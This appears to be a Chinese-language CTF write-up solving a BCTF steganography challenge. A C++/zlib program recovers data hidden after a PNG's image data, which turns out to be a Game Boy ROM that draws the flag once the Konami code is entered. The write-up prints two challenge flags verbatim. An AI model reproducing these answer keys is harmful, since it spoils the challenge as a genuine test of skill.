"The flag is BCTF{c4n-y0u-6re4k-RSA-us1n9-4c0ust1c-crypt4n41s1s}"
海報探秘
先用 ImageMagick 來觀察一番。
$ identify post.png
post.png PNG 1003x654 1003x654+0+0 8-bit DirectClass 496KB 0.000u 0:00.000
毫無反應,就是張圖片?讓我們看更仔細一點。
$ identify -verbose post.png
identify: Extra compressed data. `post.png' @ warning/png.c/MagickPNGWarningHandler/1335.
identify: Extra compression data. `post.png' @ warning/png.c/MagickPNGWarningHandler/1335.
identify: Too many IDAT's found `post.png' @ error/png.c/MagickPNGErrorHandler/1309.
identify: corrupt image `post.png' @ error/png.c/ReadPNGImage/3294.
看起來後面有偷塞東西?認真讀個 PNG 的 spec,想辦法撈出多餘的資料。
#include <bits/stdc++.h>
#include <zlib.h>
typedef unsigned char Byte;
inline unsigned convert_uint(Byte *b) {
unsigned ret = 0;
for (int i = 0; i < 4; i++) ret = ret << 8 | b[i];
return ret;
}
Byte chunk_len_buf[4];
Byte chunk_name[4];
Byte chunk_data[8 << 10];
Byte raw_data[8 << 20];
int main(int argc, char *argv[]) {
FILE *fin = fopen(argv[1], "r");
FILE *fout = fopen(argv[2], "w");
fseek(fin, 8 + 4 + 4 + 13 + 4, SEEK_CUR); // skip header
z_stream zs;
memset(&zs, 0, sizeof(zs));
inflateInit(&zs);
zs.next_out = raw_data;
zs.avail_out = sizeof(raw_data);
while (fread(chunk_len_buf, 1, 4, fin) == 4) {
unsigned chunk_len = convert_uint(chunk_len_buf);
fread(chunk_name, 1, 4, fin);
fread(chunk_data, 1, chunk_len, fin);
fseek(fin, 4, SEEK_CUR); // skip crc
if (memcmp(chunk_name, "IDAT", 4) == 0) {
zs.next_in = chunk_data;
zs.avail_in = chunk_len;
inflate(&zs, Z_SYNC_FLUSH);
}
}
inflateEnd(&zs);
unsigned raw_png_len = 1003 * 654 * 4 + 654;
unsigned out_len = sizeof(raw_data) - zs.avail_out - raw_png_len;
fwrite(raw_data + raw_png_len, 1, out_len, fout);
fclose(fin);
fclose(fout);
return 0;
}
編譯並跑跑。
$ g++ poster.cpp -o poster -lz
$ ./poster post.png data
拿到些什麼呢?
$ file data
data: Gameboy ROM: "PAINT", [ROM ONLY], ROM: 256Kbit
歐歐歐,用 OpenEmu 跑起來。
這啥?Google 一下可以發現 Konami Code。
嘗試輸入 ↑ ↑ ↓ ↓ ← → ← → B A 後,它就開始畫 flag 了!
最後一步是想辦法辨別出 1lI
之間的差別,耶比 BCTF{1-l0v3-p14yIng-g4m3s}
。